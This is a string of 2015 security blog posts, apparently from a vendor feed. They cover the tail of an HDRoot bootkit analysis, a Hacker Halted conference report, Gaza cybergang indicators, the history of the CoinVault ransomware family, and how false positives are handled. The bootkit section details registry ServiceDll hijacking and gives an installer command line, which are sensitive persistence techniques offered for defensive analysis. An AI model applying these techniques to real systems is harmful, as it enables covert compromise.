The byte at 8th offset of the 2nd booting block is a drive number and the next DWORD is an offset in sectors where the next booting part is located. This example has the value 0x80, meaning drive 0 and the offset 0x5FD9A0, which if multiplied by 0x200 bytes (size of sector) results in 0xBFB34000. This is the offset in bytes from the beginning of the drive where the bootkit installer has put the 3rd booting block taken from its resource “RKIMAGE”.

The “RKIMAGE” resource has a large piece of code that implements a DLL injection (the DLL is taken from the “DLLLOAD” resource) into the file system and makes changes in the system registry so that DLL is loaded and run during system start-up. As that piece of code is executed at the early booting stage, there is no API for accessing the file system and the code parses the file systems (FAT32 and NTFS) on its own.

Supported file systems

It searches for the hardcoded special file whose content is replaced with the DLL taken from a specified place on the disk. Most versions of HDRoot that we have found and detected use the file %windir%\WMSysPr9.prx for these purposes. Sometimes the DLL overwrites some existing system library which is certainly not a safe way for malware to work because it could cause OS failure in some cases and alert the user to the infection. Among other files that can be used for overwriting we have noticed:


The code then reads the content of the file %windir%\system32\config\system that maintains the content of the HKEY_LOCAL_MACHINE\SYSTEM registry hive. Among other things the registry hive contains information about installed services. There are numerous system services that are started during OS logon as ServiceDll via svchost.exe where the path to the functional library to be run is specified in the ServiceDll registry value for a particular service. The malicious booting code searches in the file “system” for the hardcoded path to a system library associated with a system service and replaces that value with the path to the injected DLL (for example, %windir%\WMSysPr9.prx). In all the versions we encountered we found that HDRoot exploited the following services:

Internal service name Displayed service name Path to search for wuauserv Automatic Updates system32\wuauserv.dll LanManServer Server system32\srvsvc.dll schedule Task Scheduler system32\schedsvc.dll winmgmt Windows Management Instrumentation system32\wbem\wmisvc.dll

So, when the operating system starts running services, instead of loading the original service DLL svchost.exe loads a malicious one. This malicious library does nothing apart from load and run a backdoor taken from a specified offset on the hard drive where the bootkit installer HDD Rootkit had placed it. We have found two versions of HDRoot with different methods of doing this. The first one just saves the backdoor as a file %windir%\temp\svchost.exe and executes it with the help of the WinExec API function. By all appearances the malware author later decided that this approach is not the best way to run the backdoor because it is visible to AV products and the fact that the application has started may be noticed when inspecting events in the system logs. The other version of the DLL does not drop the file but allocates a read backdoor in memory, prepares it for proper execution (loads libraries according to the import table and fixes relocations) and runs it there on its own. This approach is much more clandestine as it substantially reduces the chances of discovering the backdoor even if the DLL or poisoned MBR are detected.

Returning to our experiment, when the command

hdroot.exe inst write_to_c.exe c:

has been run, we restart the operating system. After the OS has loaded we can see the result of running of our program write_to_c.exe, which behaves as though it were a backdoor:

Created test file zzz.bin

The file C:\zzz.bin is seen immediately after Windows has loaded, which proves that the program write_to_c.exe has been successfully executed.

The whole process of the HDRoot infection is as follows:

HDRoot operation scheme

Interestingly, the malware does not have functionality to start the original service that was substituted during the boot process. Because the affected services are part of the OS, neglecting to do this could cause Windows to malfunction and reveal the infection. This is even stranger considering the malware does try to cover its tracks. Namely “tries”, because it fails to do so. The dropped DLL has a function to restore the original value of ServiceDll in the registry, storing the path to the DLL associated with the service. But due to flawed code in the 3rd booting block (from “RKIMAGE”), which slightly patches the content of “DLLLOAD” before injecting, DLL starts holding the wrong data at hardcoded offsets and it prevents the DLL from finding the proper registry path to ServiceDll to restore the original value. That’s why, for example, “C:\WINDOWS\WMSysPr9.prx” can still be viewed instead of “C:\WINDOWS\system32\wuauserv.dll” after logging on to Windows:

Path remains to injected malicious DLL in registry

Wrong registry path and value name

Mistakenly overwritten registry SubKey with original value of ServiceDll

As a result, we have to conclude that the malware was not created very carefully, which is not what you expect from such a serious APT actor as Winnti. However, we have noticed the malware author’s efforts to make this bootkit work properly at the booting stage to avoid completely blocking the OS from loading. But the mistakes mentioned above leave some quite conspicuous signs of infection on the compromised computer. For example, original services such as Windows Update or Task Scheduler do not work, but it appears nobody noticed them.

During the investigation we found several backdoors that the HDRoot bootkit used for infecting operating systems. These malicious programs will be described in the next part of our article.

Point of view: Hacker Halted 2015

Malware Alerts - Fri, 10/02/2015 - 04:55

“This way please,” says one of the officers pointing to a corridor lined with small rooms for interrogation.

“Purpose of your visit?”

“I’m a speaker at the Hacker Halted 2015 conference.”

“Final destination?”

“Atlanta, Georgia…”

After a half-hour conversation, we get our luggage back, leave the airport and then we’re hit by the hot air and jet lag. Welcome to the United States.

Hacker Halted USA 2015

The Hacker Halted USA event organized by the professional organization EC-Council (yes, the same organization that developed the Certified Ethical Hacker course that is now renowned in our industry) is held once a year and, as usual for this kind of conference, it brings together technical experts in the field of information security as well as a business audience. The choice of Atlanta was no coincidence: the climate suits sun worshippers, while the heat during the day deters you from leaving the hotel, and is possibly an additional “motivation” for some to listen to the presentations.

The main theme of the conference, which was touched on in one way or another in the speakers’ reports, was “The Cyber Pandemic” – associating technological imperfections with a kind of plague sweeping our society. And, as you can probably guess, the speakers had to analyze the details of this social “disease” and come up with a “vaccine”.

At Hacker Halted USA 2015 there was nothing to distract participants from the main content, such as separate rooms for fans of CTF or hack quests, and no workshops. On the one hand, it allowed the attendees to concentrate on the presentations and take in more information; on the other hand, it may have got a little tedious for those who like hacking things. The audience at the conference, in our subjective opinion and after chatting with other participants, appeared to be weighted more towards business. Proof of this came at a separate section with the companies’ stands. But, having said that, there was also a dedicated section for aficionados of “hardcore” presentations.

The exhibition highlighted a lot of start-ups and small companies from the IT security industry that are almost unknown in the Russian market and which focus on a narrow niche. Some might find it unsurprising, but if you draw a parallel with the typical Russian IT security exhibition, where every stand belongs to a real industry heavyweight, the information security market in the United States resembles more of a supermarket with a huge range of goods and services.

About the reports

As is traditional, the first day was given over to the key reports. After the opening speech delivered by Jay Bavisi (President of EC-Council) and a monologue about lofty matters and “The Cyber Pandemic”, we went to the “Cut the Crap – Show Me the Hack” section. As you might guess from the name, all the reports here were focused on practical aspects of information security, and thus were of special interest for us.

The report entitled “SAP Afaria – One SMS to Hack a Company” by our compatriot Dmitry Chastukhin lived up to the theme of Show Me the Hack most of all. There was a lot of technical information about the features of the system that was analyzed, a description of vulnerabilities and various shortcomings in its configuration, as well as a demonstration of the operating script on a small stand.

“Dima, you’re up in five minutes. Ready?”

“Yes, I’m just thinking of a quick video demonstration…”

The BYOD (bring your own device) policy is becoming a corporate standard, and businesses require security solutions that take into account their mobile ecosystem. MDM (mobile device management) solutions are the answer and the Afaria platform from SAP is one of them. Its popularity is confirmed by the fact that over 130 million mobile devices are running under its control in more than 6,000 organizations.

One of the vulnerabilities mentioned by Dima allows the attacker to send corporate messages from the Afaria server to the mobile phone. These messages are intended for remote mobile infrastructure administration and allow the administrator to perform a variety of critical actions, such as remotely wiping the data, blocking the device, disabling Wi-Fi, etc. However, an attacker who knows the IMEI of the employee’s mobile device can generate a corporate message and send it to a corporate mobile device. As a result, the data could be wiped from the phone or it could be blocked, etc. In addition, the attacker could use social engineering techniques to trick the owner of the device and continue the attack on the corporate infrastructure. This may lead to significant reputational and financial damage and even bring a company’s operations to a complete halt.

Another interesting vulnerability mentioned in the report is the XSS stored on the administrative console of the MDM solution, but with one special feature: the attacker only has to send a specially generated packet to the port of the MDM server that will embed the JS code in the page of the administrative console. The subsequent attack scenario typically unfolds as follows: the administrator enters the console, the code is automatically executed, and the attacker gains administrative control.

About our presentation

“The theme of user de-anonymization in the dark net is becoming increasingly important. Our report analyzes the methods of exploiting vulnerabilities on onion resources and some of the configuration shortcomings that make it possible to get information about a Tor user” – this is the abstract from our report which we delivered in the “Show Me the Hack” section. Hundreds of eyes on us, dozens of questions after the presentation, swapping of contact details and business cards – all this suggests the report was of some interest to the audience.

Another report attracted attention with its title containing only the name of the speaker – “Sean Bodmer”. Mr. Bodmer is the founder of a company developing something similar to a honeypot, but no ordinary honeypot – it is proactive. Legally speaking this is something of a delicate matter – is it permissible to attack the attacker? These types of solutions are designed to confuse the attacker, to waste his time, energy and resources on studying the targeted system.

Sean Bodmer’s report contained a few valuable thoughts. For example, if the attacker has already penetrated the infrastructure, its owner can do whatever he wants with him. The key point is that all counter measures are performed within the compromised infrastructure, because execution of code on the attacker’s machine is illegal (unless you are a government agency that has been attacked by an enemy state).

Finally, one of the most anticipated presentations was that of Chris Roberts, famous for his tweets about “breaking the plane”. Of course, no practical things, zero-day vulnerabilities or the attack scenarios were mentioned for obvious reasons, but the report contained valuable ideas that were very well presented by the speaker. Chris tried to explain to businesses why cybercriminals are constantly trying to hack them, how to interpret incidents correctly and, most importantly, how to communicate with the “offensive” guys (researchers) and their initiatives (providing information about bugs). A man who once had his wings singed attempting to publish information about vulnerabilities in aircraft onboard systems shared his invaluable experience and conclusions. Don’t shoot the messenger!

The Hacker Halted conference, despite a noticeable bias towards business, has left only positive impressions. Continuous dialogue with the speakers, participants and just people we met on another continent, is about more than just participating in a conference. Reports are always informative, but the main value of any event is meeting and communicating with people in person.


SANS Tip of the Day - Wed, 09/30/2015 - 01:00
Make sure you have anti-virus software installed on your computer and that it is automatically updating. However, keep in mind that no anti-virus can catch all malware; your computer can still be infected. That is why it's so important you use common sense and be wary of any messages that seem odd or suspicious.

Gaza cybergang, where’s your IR team?

Malware Alerts - Mon, 09/28/2015 - 04:00

Summary information:

Gaza cybergang is a politically motivated Arabic cybercriminal group operating in the MENA (Middle East North Africa) region, mainly Egypt, United Arab Emirates and Yemen. The group has been operating since 2012 and became particularly active in Q2 2015.

One interesting new fact about Gaza cybergang activities is that they are actively sending malware files to IT (Information Technology) and IR (Incident Response) staff; this is also obvious from the file names they are sending to victims, which reflect the IT functions or IR tools used in cyber attack investigations.

IT people are known for having more access and permissions inside their organizations than other employees, mainly because they need to manage and operate the infrastructure. This is why getting access to their devices could be worth a lot more than for a normal user.

IR people are also known for having access to sensitive data related to ongoing cyber investigations in their organizations, in addition to special access and permissions enabling them to hunt for malicious or suspicious activities on the network…

The main infection modules used by this group are pretty common RATs: XtremeRAT and PoisonIvy

Some more interesting facts about Gaza cybergang:

  • Attackers take an interest in government entities, especially embassies, where security measures and IT operations might not be well established and reliable
  • Use of special file names, content and domain names (e.g., has helped the group perform better social engineering to infect targets
  • Increasing interest in targeting IT and IR people, which is clear from most of the recent malware file names used

Other operation names:

  • DownExecute
  • MoleRATs
Political file names targeting Arabic countries

File name: بوادر خلاف جديد بين الامارات والسعودية.exe

Translation: Indications of disagreement between Saudi Arabia and UAE.exe

Filename: “Wikileaks documents on Sheikh ******* *** *****.exe”

File name: صور فاضحـــــة جدا لبعض العسكريين والقضاة والمستشاريين المصريين.exe

Translation: Scandalous pictures of Egyptian militants, judges and consultants

File name: -> الرئيس الفلسطيني محمود عباس يشتم ماجد فرج.exe

Translation: President Mahmoud Abbas cursing Majed Faraj.exe

File name: “مكالمة مسربة بين القائد العام للقوات المسلحة المصرية صدقي صبحي.exe”

Translation: Leaked conversation with the Egyptian leader of military forces Sodqi Sobhi.exe

File name: tasreb.rar

IT and IR Malware File Names VCSExpress.exe Hex.exe Microsoft Log.exe IMP.exe Win.exe Corss.exe WinRAR.exe AVR.exe ccleaner.exe codeblocks.exe HelpPane.exe Hex_Workshop_Hex_Editor-o.exe Help.exe Decoded.exe vmplayer.exe Decrypted.exe procexp.exe crashreporter.exe RE.exe WindowsUpdate.exe PE.exe AVP.exe PE-Explorr.exe Kaspersky.exe PE-Explorr.exe Kaspersky.exe hworks32.exe Kaspersky Password Manager.exe

Other malware file names

وصية وصور الوالد أتمنى الدعاء له بالرحمة والمغفرة.exe

Military Police less military sexual offenses, drug offenses more.exe


IP addresses and domain names used in the attacks Domains IP addresses Malware Hashes 302565aec2cd47bb6b62fa398144e0ad f94385be79ed56ef77c961aa6d9eafbf f6e8e1b239b66632fd77ac5edef7598d a347d25ed2ee07cbfe4baaabc6ff768b 8921bf7c4ff825cb89099ddaa22c8cfd 674dec356cd9d8f24ef0f2ec73aaec88 3bb319214d83dfb8dc1f3c944fb06e3b e20b5b300424fb1ea3c07a31f1279bde 826ab586b412d174b6abb78faa1f3737 42fca7968f6de3904225445312e4e985 5e255a512dd38ffc86a2a4f95c62c13f 3dcb43a83a53a965b40de316c1593bca 058368ede8f3b487768e1beb0070a4b8 e540076f48d7069bacb6d607f2d389d9 62b1e795a10bcd4412483a176df6bc77 699067ce203ab9893943905e5b76f106 39758da17265a07f2370cd04057ea749 11a00d29d583b66bedd8dfe728144850 f54c8a235c5cce30884f07b4a8351ebf d5b63862b8328fb45c3dabdcdf070d0d 9ea2f8acddcd5ac32cfb45d5708b1e1e bc42a09888de8b311f2e9ab0fc966c8c 948d32f3f12b8c7e47a6102ab968f705 c48cba5e50a58dcec3c57c5f7cc3332d 868781bcb4a4dcb1ed493cd353c9e9ab 658f47b30d545498e3895c5aa333ecb1 3c73f34e9119de7789f2c2b9d0ed0440 2b473f1f7c2b2b97f928c1fc497c0650 9dccb01facfbbb69429ef0faf4bc1bda 46cf06848e4d97fb3caa47c17cdd7a9e 4e8cbe3f2cf11d35827194fd016dbd7b 6eb17961e6b06f2472e4518589f66ab9 b4c8ff21441e99f8199b3a8d7e0a61b9 b0f49c2c29d3966125dd322a504799c6 4d0cbb45b47eb95a9d00aba9b0f7daad ca78b173218ad8be863c7e00fec61f2f 18259503e5dfdf9f5c3fc98cdfac6b78 23108c347282ff101a2104bcf54204a8 0b074367862e1b0ae461900c8f8b81b6 76f9443edc9b71b2f2494cff6d4a26a8 89f2213a9a839af098e664aaa671111b Phishing Hashes


Additional references

Coinvault, are we reaching the end of the nightmare?

Malware Alerts - Thu, 09/17/2015 - 00:00

A day after we published our No Ransom Campaign decryptor in the fight against the CoinVault ransomware, we were contacted by a fellow researcher from Panda, Bart Blaze. He kindly suggested that new variants of this dreadful ransomware were available and that he would happily share them with us. After obtaining the new MD5 hashes for the files, we set out to find more clues, more files, and to analyse what these new malware variants had to reveal: three malware families that had striking similarities with each other.

In the end we found some interesting surprises (for more details about what we found, please read on).

However, the best thing was that, based on our analysis, the National High Tech Crime Unit of the Dutch police was able to apprehend two suspects last Monday.

The story begins with CoinVault

Our search began with the discovery of the first version of CoinVault, in May 2014 (please see the table at the bottom of this post for MD5s and additional information on this, and other, hashes). Interestingly enough, this sample did not run on every computer, so we have omitted any further analysis of this version here.

Then suddenly there was Comhost

Two months after we detected the initial version of CoinVault, we detected two near-identical samples. The two files differed only in how the malware was unpacked and executed from the resource section in the binary.

Both binaries loaded the same payload, an executable known as ‘comhost.exe’. Comhost was completely different from CoinVault in terms of functionality. While CoinVault fell into the category of traditional ransomware (until this point, at least), Comhost was more of an infostealer. If you cannot wait to find out more, please skip forward!

Once executed, the malware resolved the two hardcoded domain names to IP addresses. After that it started the keylogger and a timer. Once the set time had elapsed, the search for bitcoin wallets began. Most likely the attackers implemented this functionality because mining for bitcoins has become increasingly hard.

In addition, the malware was able to execute commands received from the C2.

Back to CoinVault

Fast forward two months and we saw another example of CoinVault. This time the program code had striking similarities with Comhost. For example, some functions such as fixNOIPhosts(), were almost identical, marking a clear connection between CoinVault and Comhost. The design of the program was also very similar to Comhost.

Fortunately, the authors of this piece of malware made a small mistake. Instead of overwriting the original file with encrypted content, they created a new file in the same directory with a ._clf extension.

Next, the original file was deleted by calling the File.Delete() function. Internally, this method was implemented as a call to the Win32Native.DeleteFile() function. The DeleteFile function marked the file as deleted in the MFT entry. This meant that CoinVault victims, who got infected with this specific version of the malware, were probably able to retrieve deleted files during forensic activity (when not too much disk activity had taken place after deleting the file).

The introduction of the S.H.I.E.L.D Runner and added functionality

One month after the appearance of the last CoinVault sample, a new version of Comhost was introduced. This was the first sample that contained the “S.H.I.E.L.D Runner”. The functionality of this particular piece of code has already been discussed in a previous blogpost

Apparently the malware authors were not quite satisfied with the previous version of Comhost. They forgot to add a keylogger functionality (to check for caps lock etc.) Another interesting added feature was the antivirus and default browser collection feature, which sent information on these programs to the C2. However, the most interesting new feature was the ActivecaptionWatcher class, which was able to take screenshots and send these to the C2.

Mailspreader and added obfuscation

In November 2014 we had already written about CoinVault: this post discussed the sample that appeared a few weeks after the last version of Comhost. All the samples that appeared around this date were obfuscated with Confuser. But one thing that we omitted in our analysis was a functionality that we couldn’t really place back then: the internal class ’emailDownloader’.

This class contained some interesting pieces of code that needed to be further analysed. The presence of several executable files was referenced, but where were they? And more importantly, what was their role during the infection?

As it turns out, these files were dropped by the third piece of malware from the CoinVault family: the Mailspreader. The resources section within the binary shows that several files were embedded and we extracted them in order to study them separately.

Code economy is a common pattern between all the modules found within CoinVault samples. The functionality was simple but more than enough to achieve the desired results. A thread was created and then started in order to utilize all the benefits offered by the ‘MailSpreader.exe’ file.

As mentioned before, the C2 we discovered is shared with another sample, which had similar characteristics (MD5 hash value of AF0E5A5DF0BE279AA517E2FD65CADD5C), another indicator of the relationship between CoinVault and Mailspreader.

Using these executable files and a straightforward manner of making the infection ‘invisible’, the bad guys launched a new process that was hidden almost instantly, putting all the malicious email code to work.

We still haven’t answered the question of what these executable files represent, or what their real use is in this ransomware scheme. We’ll start with ‘mailpv.exe’, which was part of CoinVault, presenting some ‘dropper’ methods to actually obtain the primary payload. For ‘nk2edit.exe’ and ‘livecv.exe.’ A quick Google search revealed their true nature: both were legitimate tools used to interact with Outlook and Windows Live messenger.

The file ‘livecv.exe‘ had an MD5 hash of D7FC749BB3B10FCC38DE498E8DB2639A, and presented a verified signature for the executable. As per the developer’s description of the utility, ‘LiveContactsView is a small utility that allows you to view the details of all contacts in your Windows Live Messenger’.

The same happened after checking ‘nk2edit.exe‘ (C1A591727E4519AC0D94C59B680E00E4). This is a convenient utility that interacts with the AutoComplete list address book in Microsoft Outlook.

RIP CoinVault

After the previous release of our CoinVault research, this threat and its creators remained silent for a while. It wasn’t until April 2015 that a new sample was spotted in the wild. The most noteworthy change was the presence of flawless Dutch phrases throughout the binary. Dutch is a relatively difficult language to write without any mistakes. Therefore, we suspected at the beginning of our research that there was a Dutch connection to the alleged malware authors.

Other interesting added functionality was the checking and killing of analysis and detection processes such as processhacker, spyhunter, roguekiller, etc. Moreover, this version also came with support for storing configuration data in .ini files.

Shortly after these new versions emerged, the Dutch police was able to seize the C2 server used by the criminals and provide us with the bitcoin wallet IDs, IVs and keys necessary for creating and providing a decryption tool.

And then…it stopped. We didn’t hear anything about CoinVault for a while and it seemed the campaign had ended.

Hello Bitcryptor

We were right that CoinVault had stopped. However, one month later BitCryptor emerged.

BitCryptor is clearly the successor of CoinVault, since most of the code is exactly the same. However, BitCryptor is not like the previous versions of CoinVault targeting a Dutch audience. All the written Dutch has been removed (as have all the links to CoinVault). A little feature has been added, that runs in the background and checks if the victim has already paid.


Since our initial report on CoinVault, and the presentation of the No Ransom campaign, the cybercriminals responsible for these creations have been trying to modify their creations to keep on targeting new victims. Winning the battle against ransomware is a joint effort between law enforcement, private companies and end-users. In this particular case, by working together, we achieved a great result: the apprehension of two suspects.

Nevertheless, now more than ever, education about how these threats operate and target victims is of paramount importance, along with alerting and reporting new incidents as soon as possible. Thanks to our fellow researcher Bart Blaze for sharing the samples – indeed we had a happy reversing time


0f1830174d7b08c0d1fcd9aea00cdc97 Trojan-Ransom.MSIL.CoinVault.l
10438b6d4f479779234ef60560d2f40c Trojan-Ransom.MSIL.CoinVault.p
174a3f6982d254a74d2db202fd87ec26 Trojan-Ransom.MSIL.CoinVault.f
289b43d3c234585285a38b2a0f4db2e3 Trojan-Ransom.MSIL.CoinVault.i
2f707ed9f368cd5838f5fb76abcd5bd9 Trojan-Ransom.MSIL.CoinVault.q
30bc17990350f44d74f4a2ca25cdb9e3 Trojan-Ransom.MSIL.CoinVault.s
45db7e51b39fd0669b4f78eedc00ad2f Trojan-Ransom.MSIL.CoinVault.n
4d46310bdfdc5c49615be5c61b13c8ae Trojan-Ransom.MSIL.CoinVault.r
4d52e7e6f4dc77c39c50ed84ce1b10b5 Trojan-Ransom.MSIL.CoinVault.s
60a5b27a525ca21026ffff1f0d0baa6a Trojan-Ransom.MSIL.CoinVault.t
648280e5ba36ff038e97e444ecdb9d8e Trojan-Ransom.MSIL.CoinVault.g
716dfea51b1a8d95859cfda38ff7fa9d Trojan-Ransom.MSIL.CoinVault.j
73848ec02d5d9f4d0fdd5be31ef86449 Trojan-Ransom.MSIL.CoinVault.u
78fd303be07db8fa35b98645bef10ca4 Trojan-Ransom.MSIL.CoinVault.v
7fff4eabcdfb21e7884a240e668f1e8b Trojan-Ransom.MSIL.CoinVault.i
876050d738f434fc149970cc0d073dbe Trojan-Ransom.MSIL.CoinVault.w
8e1bdc1c484bc03880c67424d80e351d Trojan-Ransom.MSIL.CoinVault.x
a6499dac9a7b59830c77442eb030c93c Trojan-Ransom.MSIL.CoinVault.a
a76df48770a6cffc62e4d1a21749071b Trojan-Ransom.MSIL.CoinVault.m
a90d5d05728fec4c592393c7f4ec173e Trojan-Ransom.MSIL.CoinVault.e
ac4b5ce347820c8817afd49eacee3ec5 Trojan-Ransom.MSIL.CoinVault.y
af0e5a5df0be279aa517e2fd65cadd5c Trojan-Ransom.MSIL.CoinVault.z
aff8fefe76cc51d5e7120ef3f422ce29 Trojan-Ransom.MSIL.CoinVault.ah
b3a7fc445abfba3429094542049063c2 Trojan-Ransom.MSIL.CoinVault.x
b3bb6facbb557ddd9aada93f6b2efab8 Trojan-Ransom.MSIL.CoinVault.h
b3e1c2fce9763a2bdd08223c406bcf7f Trojan-Ransom.MSIL.CoinVault.aa
b92ec8ccc085b853545fc54781d0c1a3 Trojan-Ransom.MSIL.CoinVault.ab
cb91d0db64d9245426c7789ed00ba4d3 Trojan-Ransom.MSIL.CoinVault.k
d5f291f2bc38873e145f6e6b13fb05db Trojan-Ransom.MSIL.CoinVault.d
e7414d82d69b902b5bc1efd0f3e201d7 Trojan-Ransom.MSIL.CoinVault.b
f293970741bbe0ee0c1b8ce6cb045d4d Trojan-Ransom.MSIL.CoinVault.b

Can an inevitable evil be conquered?

Malware Alerts - Wed, 09/16/2015 - 04:07

Scanning an object (a file or web resource) with an Internet security program essentially comes down to making a binary decision: dangerous or safe? An antivirus engine puts forward the hypothesis that an object is malicious and then checks whether this is true or not. Since there are, unfortunately, no perfect antivirus solutions, errors can occur. There are two types of error: the first kind is when safe objects are identified as dangerous; the second kind – when dangerous objects are identified as safe. Using the terminology inherited from mathematical statistics, errors of the first kind are called false positives.

Security system developers have varying attitudes towards false positives. Some regard the objective of combating infection as a higher priority. Kaspersky Lab’s position on this is absolutely clear: preventing false positives is as important as protecting against malware. Below, we look at the methods of fighting false positives, using our company as an example.

The negative positive

For the user, a false detection by the security solution means being unable to access a web resource or use a safe program. Regardless of how important a specific file or website is, a false detection is always an annoyance that can lead to a disruption of business processes.

If a program that has just been written by a user is falsely identified as dangerous, its author will send a complaint to the antivirus vendor, analysts will recognize the error and correct it next time the antivirus databases are updated. This usually takes several hours – provided, of course, that the program does not actually do anything beyond what is permissible for legitimate applications.

It is a completely different situation if an operating system component is identified as malicious. This could lead to much more dire consequences, sometimes as grave as system failure. And if this kind of false positive affects a large company, it will inevitably result in downtime and, as a consequence, lost profits. This is why we believe that companies that develop security systems should be very careful about errors of this type and should try to keep them to a minimum.

Reasons for false positives

First of all, it is essential to identify the reasons for such errors. These can vary.

The human factor is one possible reason for a false detection: an antivirus analyst is not immune to making mistakes. It is worth noting, however, that in today’s world instances of this are extremely rare, since nearly all threats (99%) are now detected automatically.

A false positive can occur when developers of legitimate applications use obfuscation (code entanglement) and packing (executable file compression). Cybercriminals often use these methods to make malware analysis more difficult, which is why security systems may suspect such applications of being malicious.

A false positive can be the result of using a generic signature that detects similar malicious objects. We have known for a long time that malicious objects are often variants of the same code. This means that by using more ‘intelligent’ classification methods we can identify a part that is common to all the similar malicious samples and create a single detection logic (i.e. a signature) that will provide detection of all the similar objects. Such generic signatures are created by different detection systems. The broader the criteria used by a system to identify the similar part of malicious objects, the greater the chances of the signature being triggered by a similar but innocuous object.

Finally, an object can be mistakenly identified as malicious by technologies that analyze program behavior. For example, if an unknown application begins to make suspicious changes to the system registry or to send the user’s private data over the network, the component that tracks operating system events should raise an alarm. The program doing this could be quite harmless, just not used very often.

Fighting false positives

Analysts have understood the potential consequences of false positives practically from the inception of the industry. However, both the number of users and the number of Internet threats was thousands of times smaller back then and antivirus databases were released at much longer intervals. This being the case, the methods used 18 years ago to check antivirus databases were fairly uncomplicated: developers had a collection of critical clean files (primarily system files) and the experts simply scanned the collection using the new database before releasing an update. If there was a false positive, the relevant detection was removed after the first complaints were received. That is, the analyst team manually corrected the databases, preventing the threat from reaching a large number of users.

With time, the stream of malware has grown thousands of times, both malicious programs and technologies used to detect malicious objects have become more sophisticated. Kaspersky Lab currently detects 325,000 new malicious objects every day. The range of methods used to combat Internet threats has also broadened: whereas in the nineties signature-based detection methods were quite equal to the task of protecting a computer, now Kaspersky Lab products include technologies that automatically prevent vulnerabilities from being exploited, tools for controlling application privileges, a component that tracks operating system events, and a range of other technologies. In addition, modern legitimate software databases take up terabytes of disk space.

Clearly, in such conditions it is no longer possible to use the archaic methods of fighting false positives. Today’s false positive prevention technologies are much more varied and effective. These methods are used both at the stage of detecting malicious objects and at that of testing and releasing databases. There is also a separate set of methods that help to minimize the chances of false positives appearing while a security product is operating.

Signature control

As Captain Obvious would put it, the easiest way to avoid false positives is to release error-free signatures. This is why special attention is given to the stages in which malicious object signatures are created. But even if an error manifests itself later, there is a way to correct the situation rapidly, even if the databases have already been installed on the user’s machine.

Detection stage (creating static signatures)

First, a dedicated automatic verification system analyzes the static signatures manually added to the databases by virus analysts. This is because a person, concentrating on closely analyzing code, may not see the complete picture. So, when somebody tries to add a signature to the database for an object that the system perceives as clean based on certain criteria, the automatic system reports the potential error to the analyst, together with the reasons for believing the object is clean.

Second, a collection of hashes (unique results of code transformation based on a specific algorithm) for objects known to be ‘clean’ is used to test new signatures for false positives. A signature created using a fragment of malicious code is matched against hashes from the collection. If the system detects that the new signature matches a legitimate object’s hash based on some criteria, a different code fragment is selected to create a signature for the threat.

Kaspersky Lab also keeps a separate database that contains the ‘personal record’ of each malicious object ever analyzed with protection technologies. When creating a detection, the past of a detected object is taken into account: if the object did not raise any suspicion in the past, it undergoes an additional check.

Additionally, a collection of files that have triggered false detections in the past is used for protection against errors. It helps to prevent incidents from occurring again if an object has been slightly modified (e.g. when a new version of a program is released).

Generic signatures are periodically added to static signature databases: if the automatic detection system registers lots of similar malware samples, a single detection logic is created to combat them.

Database testing and release stage

To ensure that signatures (static or generic) will not be triggered by ‘clean’ software, newly created databases are verified using the Dynamic Whitelist knowledge base. It is an enormous, continually expanding collection of legitimate software that also contains additional data on each object (developer, product name, the latest update version and much more). More detailed information on Dynamic Whitelist operation can be found here.

A special department at Kaspersky Lab is in charge of maintaining this collection and providing timely updates. Thanks to agreements signed with more than six hundred software development companies, most popular applications are included in the collection before they become commercially available to a broad user audience.

The system that performs the scanning deserves a separate mention. Since the legitimate software database is enormous and antivirus databases are updated once an hour, using a regular server to do the scanning is not an option. A distributed data processing system was developed specifically for this purpose. It uses dozens of servers and data storage facilities for load balancing.

All signatures that have raised even minor suspicions are entered into a separate register that can be called ‘potentially dangerous verdicts’. Such signatures undergo additional verification, often involving malware analysts.

Rapid response (fighting false positives at the operation stage)

When antivirus databases have passed all the necessary checks, they are distributed to users. The Kaspersky Security Network distributed cloud infrastructure receives statistics on any detections on user machines and tracks how many times each signature has been triggered.

Analysts responsible for releasing signature databases continue to carefully track how products respond to updates. If an anomaly is detected (a threat has been detected on too many user machines within a short time period), this could mean there is a false positive. In that case, an analyst receives an alert and begins to perform additional analysis of the detected object.

If analysis indicates that the object was identified as malicious by mistake, the Record Management System technology is triggered. It can recall a record in a matter of seconds, also using the Kaspersky Security Network. The incorrect signature is removed from databases, as well. If it turns out that a generic signature mistakenly detects ‘clean’ objects among others, analysts change the detection logic and correct the databases. In any case, by the next database update, the error will have been corrected.

Tracking proactive technology errors

At the development stage it is not so easy to check technologies that detect anomalous program behavior on user machines for false positives. Foreseeing all possible actions by the user on the machine and all the possible variants of ‘clean’ software that might be used in the process is virtually impossible. That is why it is primarily cloud technologies that protect users from false detections caused by proactive technologies.

When a product detects an unknown object – i.e. there is no information about it in local antivirus databases – the object’s hash is immediately sent to the cloud infrastructure, which responds with any available information in a split second. If the object is on the white list of trusted software, the object is recognized as safe.

In addition, cloud technologies can verify a suspicious file’s digital signature and the reputation of the company that issued the digital signature certificate. If the reputation is faultless and the certificate is genuine, this also indicates that the object is legitimate. It is worth noting that company reputation and signature data is not static. If incidents are reported, this may result in the loss of trust, leading to a change in the security solution’s response to the same files.

Proactive detection tools require particularly close attention when product functionality is being upgraded. When newly upgraded technologies start working in the field for the first time after lab testing, unforeseen errors may arise. This is why a phased approach is used instead of activating new protection mechanisms in all products at once. First, upgrades are supplied to a limited test group. If this does not result in false positives, the new features are made available to a broader user group. As a result, even if a new technology proves faulty, most users will never be aware of the fault.

Fighting false positives when scanning web resources

It is worth adding a few words about technologies that protect against false positives when scanning web resources. Kaspersky Security Network can track a resource’s reputation history. If malicious content is detected on one of the site’s pages, whether the site will be blocked completely or partially depends on its reputation. If the site has an impeccable reputation, Kaspersky Lab solutions will only block the page that poses a threat to users rather than the entire website.

Kaspersky Security Network also tracks the history of web resource hits. If a site that is popular with users is identified as dangerous, the automatic system will alert analysts, who will do an additional check. This helps to prevent false detections of popular resources.


False detections by security products are unavoidable – there are no ideal solutions. However, it is the objective of vendors to reduce them to a minimum. This is a feasible task.

Kaspersky Lab experts carefully monitor the operation of protection technologies to prevent them from making errors. For each type of object in which a threat can potentially be found (web pages, files, banners, boot sectors, traffic streams, etc.), there are special mechanisms designed to prevent false positives and separate collections of objects known to be clean.

Kaspersky Lab has a dedicated group responsible for improving existing methods of fighting false positives and developing new ones. It investigates each case, analyzes why a false detection occurred and creates tools that help to prevent similar errors in the future.

It is largely thanks to the efforts of this group that virtually no false positives have come up lately in tests of Kaspersky Lab products carried out by independent researchers.

Securely Deleting Files

SANS Tip of the Day - Mon, 09/14/2015 - 22:04
